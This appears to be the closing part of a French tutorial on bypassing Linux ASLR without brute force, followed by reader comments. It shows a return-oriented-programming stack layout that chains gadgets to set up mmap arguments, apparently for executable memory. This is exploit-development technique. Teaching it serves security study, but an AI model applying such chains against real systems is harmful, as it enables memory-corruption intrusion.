<< Bruteforce ASLR | Bypasser ASLR sans bruteforce >> |
+++++++++++++++++ | esp_init |
@edx += 32 | |
+++++++++++++++++ | esp_init+4 |
DUMMY | |
+++++++++++++++++ | esp_init+8 |
DUMMY | |
+++++++++++++++++ | esp_init+12 |
@next | |
+++++++++++++++++ | esp_init+16 |
+++++++++++++++++ | |
@ebx = esp + 3 pop | |
+++++++++++++++++ | 0 = base |
DUMMY | |
+++++++++++++++++ | 4 |
DUMMY | |
+++++++++++++++++ | 8 |
DUMMY | |
+++++++++++++++++ | 12 |
@xchg eax, ebx | |
+++++++++++++++++ | 16 |
@edx=eax | |
+++++++++++++++++ | 20 |
@xor eax, eax | |
+++++++++++++++++ | 24 |
@inc eax | |
+++++++++++++++++ | 28 |
@ecx = eax | |
+++++++++++++++++ | 32 |
@edx += 32 + 2 pop | (edx = base + 32) |
+++++++++++++++++ | 36 |
DUMMY | |
+++++++++++++++++ | 40 |
DUMMY | |
+++++++++++++++++ | 44 |
@inc eax | |
+++++++++++++++++ | 48 |
[...] | |
+++++++++++++++++ | 332 |
@edx += 32 + 2 pop | (edx = base + 512) |
+++++++++++++++++ | 336 |
DUMMY | |
+++++++++++++++++ | 340 |
DUMMY | |
+++++++++++++++++ | X = 344 |
eax = edx | |
+++++++++++++++++ | X+4 |
xchg eax, ebp | // ebp = arg6 |
+++++++++++++++++ | X+8 |
xor eax, eax | |
+++++++++++++++++ | X+12 |
ecx = eax | |
+++++++++++++++++ | X+16 |
*edx = ecx | // arg6 = 0 |
+++++++++++++++++ | X+20 |
eax = edx | |
+++++++++++++++++ | X+24 |
dec eax | |
+++++++++++++++++ | X+28 |
dec eax | |
+++++++++++++++++ | X+32 |
dec eax | |
+++++++++++++++++ | X+36 |
dec eax | |
+++++++++++++++++ | X+40 |
dec eax | |
+++++++++++++++++ | X+44 |
dec eax | |
+++++++++++++++++ | X+48 |
dec eax | |
+++++++++++++++++ | X+52 |
dec eax | |
+++++++++++++++++ | X+56 |
edx = eax | // *edx = arg4 |
+++++++++++++++++ | X+60 |
xor eax, eax | |
+++++++++++++++++ | X+64 |
al |= 36 | |
+++++++++++++++++ | X+68 |
dec eax | |
+++++++++++++++++ | X+72 |
dec eax | |
+++++++++++++++++ | X+76 |
ecx = eax | // ecx = 34 = 0x22 |
+++++++++++++++++ | X+80 |
*edx = ecx | |
+++++++++++++++++ | X+84 |
eax = edx | |
+++++++++++++++++ | X+88 |
dec eax | |
+++++++++++++++++ | X+92 |
dec eax | |
+++++++++++++++++ | X+96 |
dec eax | |
+++++++++++++++++ | X+100 |
dec eax | |
+++++++++++++++++ | X+104 |
edx = eax | |
+++++++++++++++++ | X+108 |
xor eax, eax | |
+++++++++++++++++ | X+112 |
add al, 83 | |
+++++++++++++++++ | X+116 |
and al, 4 | |
+++++++++++++++++ | X+120 |
inc eax | |
+++++++++++++++++ | X+124 |
inc eax | |
+++++++++++++++++ | X+128 |
inc eax | |
+++++++++++++++++ | X+132 |
ecx = eax | // ecx = 0x7 |
+++++++++++++++++ | X+136 |
*edx = ecx | |
+++++++++++++++++ | X+140 |
@mmap | |
+++++++++++++++++ | X+144 |
@leave/ret | |
+++++++++++++++++ | X+148 |
0xa0011001 | |
+++++++++++++++++ | X+152 |
0x01010101 | |
+++++++++++++++++ | X+156 |
Arg3 mmap | |
+++++++++++++++++ | X+160 |
Arg4 mmap | |
+++++++++++++++++ | X+164 |
0xffffffff | |
+++++++++++++++++ | X+168 |
Arg6 mmap | |
+++++++++++++++++ | |
@next | |
+++++++++++++++++ |
<< Bruteforce ASLR | Bypasser ASLR sans bruteforce >> |
FrizN | 26/10/10 07:59 |
Oui, cet article traite exclusivement de la randomization de l'espace mémoire sous Linux et de l'utilisation de la libc lnux pour le contourner, il ne s'applique donc pas à un environnement Windows. Je manque vraiment de temps en ce moment, mais mon prochain chantier est clairement de montrer une exploitation avancée sous Windows qui couvre ASLR/cookies/SEH. |
|
mael | 25/10/10 16:29 |
Heu je n'ai pas tout compris mais je vais perséverer, par contre j'aimerais savoir comment savoir ce qu'il y a dans son ordi et commment l'exploiter, fin sous Windows c'est un peu dure en fait même d'appliquer ces codes... en tout cas super ce que tu fais :) |
|
FrizN | 03/05/10 15:33 |
Merci bien :] |
|
Anonyme | 03/05/10 14:41 |
Franchement, bravo pour cet article ! C'est un peu difficile à suivre parfois (comme l'incrémentation d'edx), mais j'étais tout simplement heureux quand je l'ai fait marcher :) |